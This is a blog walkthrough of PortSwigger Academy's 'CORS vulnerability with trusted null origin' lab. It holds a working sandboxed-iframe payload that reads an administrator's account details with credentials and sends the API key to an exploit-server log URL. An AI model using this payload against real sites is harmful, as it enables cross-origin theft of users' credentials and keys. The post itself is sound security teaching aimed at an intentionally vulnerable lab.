Post

PortSwigger Walkthrough - CORS vulnerability with trusted null origin

Walkthrough of PortSwigger's 'CORS vulnerability with trusted null origin' lab.

PortSwigger Walkthrough - CORS vulnerability with trusted null origin

To browse all labs in this series, visit the full PortSwigger series.

All testing shown in this series is performed against PortSwigger Academy’s intentionally vulnerable labs.
Do not apply these techniques to systems you do not own or have explicit written permission to test.

What’s this?

The Origin header spec allows for a literal null value, which browsers send in a handful of edge cases: cross-origin redirects, requests generated from serialized data, file: protocol requests, and sandboxed iframes without the allow-same-origin flag. Some CORS configs explicitly whitelist null as a “safe” fallback. It isn’t. If a browser can be made to send Origin: null on demand (and a sandboxed iframe makes that trivial), an attacker can trigger it from anywhere.

Objective

This app trusts the literal null origin in its CORS config. Same goal as before: steal the administrator’s API key via the exploit server. Own account: wiener:peter.

PortSwigger’s lab link

Walkthrough

Same starting point: log in, grab GET /accountDetails, and confirm Access-Control-Allow-Credentials: true is present. Send it to Repeater and try Origin: https://evil-site.com first, nothing reflected this time, so it’s not the same simple case as the previous lab.

Try Origin: null instead:

The literal null origin gets accepted

There it is. Now we just need a page that makes the victim’s browser send that exact null origin. A sandboxed iframe without allow-same-origin does exactly that. On the exploit server:

1
2
3
4
5
6
7
8
9
10
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-EXPLOIT-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Deliver it, check the access log, and the administrator’s API key shows up. Submit it. Lab solved.

Lab solved confirmation

Whitelisting null always feels like the “safe, restrictive” option, but it’s actually one of the easiest origins to forge on demand.



Wanna talk? Contact me here!

This post is licensed under CC BY 4.0 by the author.